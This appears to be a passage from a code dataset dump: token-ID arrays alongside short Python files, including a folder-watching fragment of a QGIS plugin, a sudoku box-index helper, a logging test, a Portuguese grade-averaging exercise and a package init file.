1188,
877,
9882,
678,
4618,
29901,
1273,
29879,
29915,
1273,
2224,
29897,
13,
9651,
363,
285,
297,
2897,
29889,
1761,
3972,
29898,
2084,
1125,
13,
18884,
396,
1311,
29889,
3888,
29889,
1188,
29898,
359,
29889,
1761,
3972,
29898,
2084,
876,
13,
18884,
396,
361,
313,
1311,
29889,
8382,
322,
285,
29889,
13609,
2141,
1975,
2541,
17350,
3126,
5783,
470,
285,
29889,
13609,
580,
1275,
1583,
29889,
16674,
29918,
12344,
29918,
1445,
29889,
13609,
7295,
13,
18884,
565,
285,
29889,
13609,
580,
1275,
1583,
29889,
16674,
29918,
12344,
29918,
1445,
29889,
13609,
7295,
13,
462,
1678,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
12296,
613,
29888,
29889,
13609,
3101,
13,
462,
1678,
1583,
29889,
5847,
29918,
12344,
261,
29889,
1271,
10140,
1338,
29898,
5574,
29897,
13,
462,
1678,
1583,
29889,
735,
29883,
1082,
6255,
29898,
2084,
29892,
29888,
29897,
13,
462,
1678,
1583,
29889,
5847,
29918,
12344,
261,
29889,
1271,
10140,
1338,
29898,
8824,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
934,
29918,
15033,
29898,
1311,
29892,
2084,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
2283,
678,
4618,
29901,
1273,
29879,
29915,
1273,
2224,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
5566,
1082,
6255,
29898,
1311,
29892,
2084,
29892,
29888,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
735,
29883,
1082,
1899,
1495,
13,
9651,
10422,
353,
2224,
718,
8207,
29915,
718,
285,
13,
9651,
396,
2230,
29889,
17059,
29898,
29900,
29889,
29945,
29897,
13,
9651,
285,
353,
12013,
29889,
3150,
29898,
9507,
29892,
8025,
2433,
9420,
29899,
29947,
1495,
13,
9651,
432,
1272,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
9651,
285,
29889,
5358,
580,
13,
13,
9651,
620,
353,
5852,
13,
9651,
363,
9920,
297,
432,
1272,
1839,
26381,
2033,
29901,
13,
18884,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
29898,
9006,
29897,
13,
18884,
1158,
353,
679,
5552,
29898,
1311,
29892,
9920,
1839,
29872,
6519,
11287,
13,
18884,
620,
353,
620,
322,
313,
5696,
29898,
1311,
29889,
4141,
290,
475,
29892,
1583,
29889,
8382,
29892,
3579,
9006,
1839,
2917,
25901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
2914,
29901,
742,
620,
29897,
13,
9651,
565,
620,
29901,
13,
18884,
2897,
29889,
5992,
29898,
9507,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
2436,
20224,
2283,
29898,
1311,
29892,
29926,
1272,
29892,
13506,
353,
6629,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
3539,
20224,
2283,
29901,
742,
525,
1272,
29901,
742,
432,
1272,
29897,
13,
9651,
7592,
1445,
353,
1583,
29889,
4141,
290,
475,
29889,
11027,
1839,
16674,
29918,
1445,
2033,
13,
9651,
7592,
1445,
353,
29871,
1583,
29889,
4141,
290,
475,
29889,
20907,
29889,
657,
2283,
2605,
29898,
16674,
1445,
29892,
5852,
29897,
13,
9651,
7592,
1445,
353,
14210,
29879,
29995,
29879,
29915,
1273,
313,
16674,
1445,
29892,
13506,
29897,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
16674,
1445,
613,
16674,
1445,
29897,
13,
9651,
396,
2436,
278,
934,
13,
9651,
396,
515,
12013,
1053,
1714,
5971,
13,
9651,
396,
12013,
353,
1714,
5971,
580,
13,
9651,
396,
4390,
29889,
15070,
29898,
29926,
1272,
29892,
601,
29892,
7469,
29918,
294,
18869,
29922,
8824,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
12860,
29922,
29946,
29897,
13,
9651,
396,
12013,
29889,
5358,
580,
13,
9651,
411,
1722,
29898,
16674,
1445,
29892,
525,
29893,
742,
22331,
2433,
9420,
29947,
1495,
408,
714,
1445,
29901,
13,
18884,
2656,
353,
5574,
13,
18884,
396,
12857,
3126,
29889,
15070,
29898,
29926,
1272,
29892,
714,
1445,
29892,
7469,
29918,
294,
18869,
29922,
8824,
29892,
2656,
29918,
8149,
29922,
6605,
29892,
12860,
29922,
29946,
29897,
6552,
22331,
2433,
9420,
29947,
1495,
29937,
29889,
12508,
877,
9420,
29947,
1495,
13,
18884,
4390,
29889,
15070,
29898,
29926,
1272,
29892,
714,
1445,
29892,
9801,
29918,
294,
18869,
29922,
8824,
29892,
2656,
29918,
8149,
29922,
6605,
29892,
29536,
29922,
29946,
29897,
29871,
396,
1919,
22331,
2433,
9420,
29947,
1495,
29937,
29889,
12508,
877,
9420,
29947,
1495,
13,
9651,
396,
1053,
5839,
280,
13,
9651,
396,
411,
1722,
29898,
16674,
1445,
29892,
525,
29893,
29890,
1495,
408,
285,
29901,
13,
9651,
396,
268,
5839,
280,
29889,
15070,
29898,
29926,
1272,
29892,
29888,
29897,
13,
13,
9651,
396,
11236,
403,
29914,
2962,
7592,
623,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
3539,
20224,
2283,
29901,
742,
525,
11027,
29901,
742,
29871,
1583,
29889,
4141,
290,
475,
29889,
11027,
29897,
13,
9651,
7592,
29918,
932,
29918,
1445,
353,
1583,
29889,
4141,
290,
475,
29889,
11027,
1839,
16674,
29918,
932,
29918,
1445,
2033,
13,
9651,
7592,
29918,
932,
29918,
3257,
353,
1583,
29889,
4141,
290,
475,
29889,
11027,
1839,
16674,
29918,
932,
29918,
3257,
2033,
13,
9651,
565,
2897,
29889,
978,
1275,
525,
593,
2396,
13,
18884,
1018,
29901,
13,
462,
1678,
515,
869,
29887,
517,
29918,
10499,
1053,
21775,
403,
2052,
13,
462,
1678,
21775,
403,
2052,
29898,
1311,
29889,
4141,
290,
475,
29892,
1583,
29889,
8382,
29892,
7592,
29918,
932,
29918,
3257,
29892,
7592,
29918,
932,
29918,
1445,
29897,
13,
18884,
5174,
8960,
408,
321,
29901,
13,
462,
1678,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
9651,
1683,
29901,
13,
18884,
2897,
29889,
2962,
1445,
29898,
16674,
29918,
932,
29918,
1445,
29897,
13,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
679,
14420,
2059,
1170,
29898,
1311,
29892,
8387,
4510,
1125,
13,
4706,
1018,
29901,
13,
9651,
15359,
353,
660,
3174,
7653,
29889,
8758,
2141,
1958,
29931,
388,
414,
2059,
1170,
29898,
8387,
4510,
29897,
13,
9651,
565,
15359,
29901,
13,
18884,
736,
15359,
29961,
29900,
29962,
29937,
5141,
506,
371,
2983,
1149,
2125,
278,
937,
13,
9651,
1683,
29901,
13,
18884,
736,
6213,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1583,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
679,
8263,
3698,
29898,
1311,
29892,
330,
517,
5415,
29892,
4744,
29892,
3579,
19290,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
877,
657,
8263,
3698,
29901,
742,
525,
16744,
29901,
742,
9049,
5085,
29897,
13,
9651,
6568,
4510,
353,
9049,
5085,
1839,
3318,
1990,
2033,
13,
9651,
7546,
353,
1583,
29889,
657,
14420,
2059,
1170,
29898,
8387,
4510,
29897,
13,
9651,
2009,
353,
660,
3174,
19132,
3089,
580,
13,
9651,
565,
525,
3062,
16398,
1509,
29915,
297,
9049,
5085,
29901,
13,
18884,
988,
16398,
1509,
353,
9049,
5085,
1839,
3062,
16398,
1509,
2033,
13,
18884,
2009,
29889,
842,
5072,
10960,
29898,
3062,
16398,
1509,
29897,
13,
9651,
25342,
525,
12715,
29915,
297,
9049,
5085,
29901,
13,
18884,
5352,
353,
9049,
5085,
1839,
12715,
2033,
13,
18884,
1819,
353,
9049,
5085,
1839,
1272,
2033,
13,
18884,
22010,
29918,
262,
353,
6629,
13,
18884,
363,
325,
297,
1819,
29901,
13,
462,
1678,
22010,
29918,
262,
353,
22010,
29918,
262,
718,
14210,
29879,
1919,
29915,
1273,
851,
29898,
29894,
29897,
13,
18884,
22010,
29918,
262,
353,
22010,
29918,
262,
7503,
29899,
29896,
29962,
13,
18884,
22010,
353,
18793,
29915,
718,
5352,
718,
18793,
2672,
313,
29995,
29879,
16029,
1273,
22010,
29918,
262,
13,
18884,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
13338,
29901,
1273,
29879,
29908,
1273,
22010,
29897,
13,
18884,
2009,
29889,
842,
5072,
10960,
29898,
13338,
29897,
13,
9651,
5680,
353,
7546,
29889,
657,
8263,
3698,
29898,
3827,
29897,
13,
9651,
18999,
353,
518,
29888,
29889,
333,
580,
363,
285,
297,
5680,
29962,
13,
9651,
565,
1583,
29889,
8382,
29901,
1583,
29889,
3888,
29889,
1188,
703,
690,
515,
2009,
18999,
29901,
613,
13148,
29892,
18999,
29897,
13,
9651,
736,
7546,
29892,
18999,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
330,
517,
5415,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
796,
29949,
6488,
4986,
16359,
1299,
11499,
10490,
29898,
1311,
29892,
29887,
517,
5415,
29892,
8382,
29892,
1068,
19290,
1125,
13,
4706,
1018,
29901,
13,
9651,
6287,
353,
9049,
5085,
29889,
657,
877,
7052,
742,
29900,
29897,
13,
13,
9651,
565,
815,
353,
330,
517,
5415,
29889,
361,
815,
13,
9651,
7546,
29892,
18999,
353,
1583,
29889,
657,
8263,
3698,
29898,
29887,
517,
5415,
29892,
8382,
29892,
1068,
19290,
29897,
13,
13,
9651,
565,
815,
29889,
842,
9966,
14420,
29898,
13148,
29897,
13,
9651,
544,
29926,
353,
660,
3174,
7653,
29889,
8758,
580,
13,
9651,
544,
29926,
29889,
13148,
9643,
10303,
2141,
2886,
14420,
29898,
13148,
29889,
333,
16655,
842,
2001,
23318,
17817,
9780,
4789,
25397,
29898,
5574,
29897,
13,
9651,
396,
26172,
29889,
842,
7583,
14420,
29898,
13148,
29897,
13,
9651,
396,
26172,
29889,
842,
14420,
12911,
29898,
13148,
29892,
5852,
29897,
13,
13,
9651,
7546,
29889,
2622,
4499,
29879,
29898,
4841,
29897,
13,
9651,
565,
815,
29889,
1958,
21960,
2141,
2502,
290,
1762,
8592,
580,
13,
9651,
565,
6287,
1405,
29871,
29900,
29901,
13,
18884,
565,
815,
29889,
1958,
21960,
2141,
2502,
290,
17185,
29898,
7052,
29897,
13,
9651,
736,
5852,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
330,
517,
5415,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
11368,
6404,
10490,
29898,
1311,
29892,
29887,
517,
5415,
29892,
8382,
29892,
1068,
19290,
1125,
13,
4706,
1018,
29901,
13,
9651,
565,
815,
353,
330,
517,
5415,
29889,
361,
815,
13,
9651,
7546,
29892,
18999,
353,
1583,
29889,
657,
8263,
3698,
29898,
29887,
517,
5415,
29892,
8382,
29892,
1068,
19290,
29897,
13,
9651,
7546,
29889,
5992,
15097,
580,
13,
9651,
7546,
29889,
2622,
4499,
29879,
29898,
4841,
29897,
13,
9651,
1583,
29889,
361,
815,
29889,
1958,
21960,
2141,
22379,
580,
13,
9651,
736,
5852,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
330,
517,
5415,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
12354,
3217,
25593,
1177,
3040,
29898,
1311,
29892,
29887,
517,
5415,
29892,
8382,
29892,
1068,
19290,
1125,
13,
4706,
1018,
29901,
13,
9651,
5446,
1990,
353,
9049,
5085,
1839,
3318,
1990,
2033,
13,
9651,
1178,
353,
9049,
5085,
1839,
333,
2033,
13,
9651,
831,
431,
6519,
353,
9049,
5085,
1839,
267,
431,
6519,
2033,
13,
9651,
565,
815,
353,
330,
517,
5415,
29889,
361,
815,
13,
9651,
515,
3855,
29887,
275,
29889,
23569,
1053,
660,
3174,
3388,
12229,
29923,
2415,
5228,
13,
13,
9651,
396,
1653,
5780,
13,
9651,
12379,
12229,
353,
565,
815,
29889,
1958,
21960,
2141,
1958,
12229,
580,
13,
9651,
3151,
12229,
353,
660,
3174,
3388,
12229,
29923,
2415,
5228,
29898,
361,
815,
29889,
1958,
21960,
3101,
13,
13,
9651,
822,
373,
29918,
3808,
29898,
29302,
29892,
11484,
14346,
3125,
1125,
13,
18884,
565,
4744,
29901,
330,
517,
5415,
29889,
3888,
29889,
1188,
703,
7967,
16065,
29901,
613,
14821,
29897,
13,
18884,
565,
11484,
14346,
3125,
1275,
14705,
29889,
8091,
3125,
29901,
13,
462,
1678,
565,
831,
431,
6519,
1275,
525,
7194,
3217,
25593,
1177,
3040,
29918,
1367,
2396,
13,
462,
4706,
396,
29926,
1272,
353,
8853,
26381,
1115,
518,
6377,
29872,
6519,
1115,
376,
10490,
3217,
25593,
1177,
3040,
613,
376,
2917,
1115,
8853,
267,
431,
6519,
1115,
376,
10490,
3217,
25593,
1177,
3040,
29918,
1367,
3284,
3318,
1990,
1115,
5446,
1990,
29889,
12508,
877,
9420,
29947,
5477,
29908,
333,
1115,
333,
29892,
376,
29916,
1115,
4513,
29898,
14821,
29889,
29916,
3285,
29941,
511,
29908,
29891,
1115,
14486,
29898,
29302,
29889,
29891,
3285,
29941,
21345,
12258,
13,
462,
4706,
432,
1272,
353,
8853,
26381,
1115,
518,
6377,
29872,
6519,
1115,
376,
10490,
3217,
25593,
1177,
3040,
613,
13,
462,
462,
1669,
376,
2917,
1115,
8853,
267,
431,
6519,
1115,
376,
10490,
3217,
25593,
1177,
3040,
29918,
1367,
613,
13,
462,
462,
462,
3986,
376,
3318,
1990,
1115,
5446,
1990,
29892,
376,
333,
1115,
1178,
29892,
13,
462,
462,
462,
3986,
376,
29916,
1115,
4513,
29898,
29302,
29889,
29916,
3285,
29871,
29941,
511,
13,
462,
462,
462,
3986,
376,
29891,
1115,
4513,
29898,
29302,
29889,
29891,
3285,
29871,
29941,
21345,
12258,
13,
462,
4706,
1583,
29889,
3539,
20224,
2283,
29898,
29926,
1272,
29897,
13,
462,
4706,
565,
4744,
29901,
1583,
29889,
3888,
29889,
1188,
703,
2697,
12379,
5780,
29901,
613,
12379,
12229,
29889,
10154,
1170,
3101,
13,
462,
4706,
565,
12379,
12229,
338,
3151,
12229,
29901,
13,
462,
9651,
565,
815,
29889,
1958,
21960,
2141,
842,
3388,
12229,
29898,
8516,
29897,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
565,
815,
29889,
1958,
21960,
2141,
842,
3388,
12229,
29898,
16304,
12229,
29897,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
565,
4744,
29901,
1583,
29889,
3888,
29889,
1188,
877,
14148,
831,
431,
6519,
29901,
742,
267,
431,
6519,
29897,
13,
13,
9651,
822,
5780,
29918,
15033,
29898,
10154,
1125,
29871,
396,
1790,
5780,
471,
5039,
630,
13,
18884,
565,
815,
29889,
1958,
21960,
2141,
1958,
12229,
2697,
29889,
2218,
6915,
29898,
10154,
29918,
15033,
29897,
13,
18884,
396,
2764,
12229,
29889,
8143,
29931,
1008,
580,
13,
13,
9651,
3151,
12229,
29889,
15257,
4164,
287,
29889,
6915,
29898,
265,
29918,
3808,
29897,
13,
9651,
565,
815,
29889,
1958,
21960,
2141,
842,
3388,
12229,
29898,
2764,
12229,
29897,
13,
9651,
565,
815,
29889,
1958,
21960,
2141,
1958,
12229,
2697,
29889,
6915,
29898,
10154,
29918,
15033,
29897,
13,
9651,
736,
5852,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
330,
517,
5415,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
13,
13,
1678,
822,
679,
8592,
8263,
3698,
29898,
1311,
29892,
29887,
517,
5415,
29892,
4744,
29892,
7546,
29892,
12715,
1125,
13,
4706,
1018,
29901,
13,
9651,
848,
353,
5159,
13,
9651,
363,
285,
297,
7546,
29889,
8391,
8263,
3698,
7295,
13,
18884,
659,
353,
285,
29961,
12715,
29962,
13,
18884,
1018,
29901,
13,
462,
1678,
565,
938,
29898,
791,
29897,
1275,
659,
29901,
659,
353,
938,
29898,
791,
29897,
13,
18884,
5174,
29901,
13,
462,
1678,
1209,
13,
18884,
848,
29889,
4397,
11702,
29879,
29908,
1273,
851,
29898,
791,
876,
13,
9651,
736,
848,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
330,
517,
5415,
29889,
3888,
29889,
3127,
29898,
29872,
29897,
2
] |
pyslab/core/locations.py | benhorsburgh/pyslab | 0 | 46816 | from typing import List
from .types import Cell
def box_id(cell: Cell) -> int:
return (cell.row // 3) * 3 + (cell.column // 3)
def row_house_ids() -> List[int]:
return list(range(9))
def column_house_ids() -> List[int]:
return list(range(10, 18))
def box_house_ids() -> List[int]:
return list(range(19, 27))
| [
1,
515,
19229,
1053,
2391,
13,
13,
3166,
869,
8768,
1053,
19413,
13,
13,
13,
1753,
3800,
29918,
333,
29898,
3729,
29901,
19413,
29897,
1599,
938,
29901,
13,
1678,
736,
313,
3729,
29889,
798,
849,
29871,
29941,
29897,
334,
29871,
29941,
718,
313,
3729,
29889,
4914,
849,
29871,
29941,
29897,
13,
13,
13,
1753,
1948,
29918,
8697,
29918,
4841,
580,
1599,
2391,
29961,
524,
5387,
13,
1678,
736,
1051,
29898,
3881,
29898,
29929,
876,
13,
13,
13,
1753,
1897,
29918,
8697,
29918,
4841,
580,
1599,
2391,
29961,
524,
5387,
13,
1678,
736,
1051,
29898,
3881,
29898,
29896,
29900,
29892,
29871,
29896,
29947,
876,
13,
13,
13,
1753,
3800,
29918,
8697,
29918,
4841,
580,
1599,
2391,
29961,
524,
5387,
13,
1678,
736,
1051,
29898,
3881,
29898,
29896,
29929,
29892,
29871,
29906,
29955,
876,
13,
2
] |
tests/test_base.py | mrtovsky/estimium | 1 | 186097 | <reponame>mrtovsky/estimium<filename>tests/test_base.py
import logging
from typing import Optional
from estimium.base import ClassLogger
class DummyClass(ClassLogger):
"""Dummy class for testing inheritance from ClassLogger."""
def __init__(self, logger: Optional[logging.Logger] = None):
super().__init__(logger=logger)
self.logger.info("Initializing DummyClass")
def run(self):
self.logger.debug("Entering `run` method")
def test_class_logging_with_getting_logger(caplog):
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
dummy = DummyClass()
dummy.run()
assert caplog.record_tuples == [
(
"{}.{}".format(__name__, DummyClass.__name__),
logging.INFO,
"Initializing DummyClass",
),
(
"{}.{}".format(__name__, DummyClass.__name__),
logging.DEBUG,
"Entering `run` method",
),
]
def test_class_logging_with_specifying_logger(caplog):
logger = logging.getLogger("foo")
logger.setLevel(logging.DEBUG)
dummy = DummyClass(logger=logger)
dummy.run()
assert caplog.record_tuples == [
(
"foo.{}".format(DummyClass.__name__),
logging.INFO,
"Initializing DummyClass",
),
(
"foo.{}".format(DummyClass.__name__),
logging.DEBUG,
"Entering `run` method",
),
]
| [
1,
529,
276,
1112,
420,
29958,
29885,
29878,
517,
29894,
7912,
29914,
342,
326,
1974,
29966,
9507,
29958,
21150,
29914,
1688,
29918,
3188,
29889,
2272,
13,
5215,
12183,
13,
3166,
19229,
1053,
28379,
13,
13,
3166,
4844,
1974,
29889,
3188,
1053,
4134,
16363,
13,
13,
13,
1990,
360,
11770,
2385,
29898,
2385,
16363,
1125,
13,
1678,
9995,
29928,
11770,
770,
363,
6724,
20328,
515,
4134,
16363,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
17927,
29901,
28379,
29961,
21027,
29889,
16363,
29962,
353,
6213,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
21707,
29922,
21707,
29897,
13,
4706,
1583,
29889,
21707,
29889,
3888,
703,
15514,
5281,
360,
11770,
2385,
1159,
13,
13,
1678,
822,
1065,
29898,
1311,
1125,
13,
4706,
1583,
29889,
21707,
29889,
8382,
703,
10399,
292,
421,
3389,
29952,
1158,
1159,
13,
13,
13,
1753,
1243,
29918,
1990,
29918,
21027,
29918,
2541,
29918,
29264,
29918,
21707,
29898,
5030,
1188,
1125,
13,
1678,
17927,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
1678,
17927,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
13,
1678,
20254,
353,
360,
11770,
2385,
580,
13,
1678,
20254,
29889,
3389,
580,
13,
13,
1678,
4974,
2117,
1188,
29889,
11651,
29918,
9161,
2701,
1275,
518,
13,
4706,
313,
13,
9651,
29850,
1836,
8875,
1642,
4830,
22168,
978,
1649,
29892,
360,
11770,
2385,
17255,
978,
1649,
511,
13,
9651,
12183,
29889,
11690,
29892,
13,
9651,
376,
15514,
5281,
360,
11770,
2385,
613,
13,
4706,
10353,
13,
4706,
313,
13,
9651,
29850,
1836,
8875,
1642,
4830,
22168,
978,
1649,
29892,
360,
11770,
2385,
17255,
978,
1649,
511,
13,
9651,
12183,
29889,
18525,
29892,
13,
9651,
376,
10399,
292,
421,
3389,
29952,
1158,
613,
13,
4706,
10353,
13,
1678,
4514,
13,
13,
13,
1753,
1243,
29918,
1990,
29918,
21027,
29918,
2541,
29918,
6550,
9215,
29918,
21707,
29898,
5030,
1188,
1125,
13,
1678,
17927,
353,
12183,
29889,
657,
16363,
703,
5431,
1159,
13,
1678,
17927,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
13,
1678,
20254,
353,
360,
11770,
2385,
29898,
21707,
29922,
21707,
29897,
13,
1678,
20254,
29889,
3389,
580,
13,
13,
1678,
4974,
2117,
1188,
29889,
11651,
29918,
9161,
2701,
1275,
518,
13,
4706,
313,
13,
9651,
376,
5431,
29889,
8875,
1642,
4830,
29898,
29928,
11770,
2385,
17255,
978,
1649,
511,
13,
9651,
12183,
29889,
11690,
29892,
13,
9651,
376,
15514,
5281,
360,
11770,
2385,
613,
13,
4706,
10353,
13,
4706,
313,
13,
9651,
376,
5431,
29889,
8875,
1642,
4830,
29898,
29928,
11770,
2385,
17255,
978,
1649,
511,
13,
9651,
12183,
29889,
18525,
29892,
13,
9651,
376,
10399,
292,
421,
3389,
29952,
1158,
613,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
exercicio3.py | cecilialourenco/Exercicios | 0 | 57129 | '''Faça um programa que leia 4 notas, mostre as notas e a média na tela.'''
notas = []
nota1 = float(input('Digite a primeira nota: '))
notas.append(nota1)
nota2 = float(input('Digite a segunda nota: '))
notas.append(nota2)
nota3 = float(input('Digite a terceira nota: '))
notas.append(nota3)
nota4 = float(input('Digite a quarta nota: '))
notas.append(nota4)
print(notas)
media = float(input('A média é: {}'. format(sum(notas)/len(notas))))
| [
1,
14550,
14206,
4277,
1922,
16914,
712,
454,
423,
29871,
29946,
451,
294,
29892,
1556,
276,
408,
451,
294,
321,
263,
10283,
423,
1055,
260,
3100,
29889,
12008,
13,
1333,
294,
353,
5159,
13,
13,
1333,
29874,
29896,
353,
5785,
29898,
2080,
877,
14991,
568,
263,
20997,
451,
29874,
29901,
525,
876,
13,
1333,
294,
29889,
4397,
29898,
1333,
29874,
29896,
29897,
13,
13,
1333,
29874,
29906,
353,
5785,
29898,
2080,
877,
14991,
568,
263,
17329,
451,
29874,
29901,
525,
876,
13,
1333,
294,
29889,
4397,
29898,
1333,
29874,
29906,
29897,
13,
13,
1333,
29874,
29941,
353,
5785,
29898,
2080,
877,
14991,
568,
263,
1935,
346,
3055,
451,
29874,
29901,
525,
876,
13,
1333,
294,
29889,
4397,
29898,
1333,
29874,
29941,
29897,
13,
13,
1333,
29874,
29946,
353,
5785,
29898,
2080,
877,
14991,
568,
263,
10256,
29874,
451,
29874,
29901,
525,
876,
13,
1333,
294,
29889,
4397,
29898,
1333,
29874,
29946,
29897,
13,
13,
2158,
29898,
1333,
294,
29897,
13,
13,
9799,
353,
5785,
29898,
2080,
877,
29909,
10283,
423,
904,
29901,
6571,
4286,
3402,
29898,
2083,
29898,
1333,
294,
6802,
2435,
29898,
1333,
294,
13697,
13,
2
] |
environment/__init__.py | JannerM/spatial-reasoning | 54 | 174967 | import library, figure_library
from MDP import *
from ValueIteration import ValueIteration
from SpriteFigure import SpriteFigure | [
1,
1053,
3489,
29892,
4377,
29918,
5258,
13,
3166,
341,
11191,
1053,
334,
13,
3166,
7865,
13463,
362,
1053,
7865,
13463,
362,
13,
3166,
14314,
568,
13080,
545,
1053,
14314,
568,
13080,
545,
2
] |
Subsets and Splits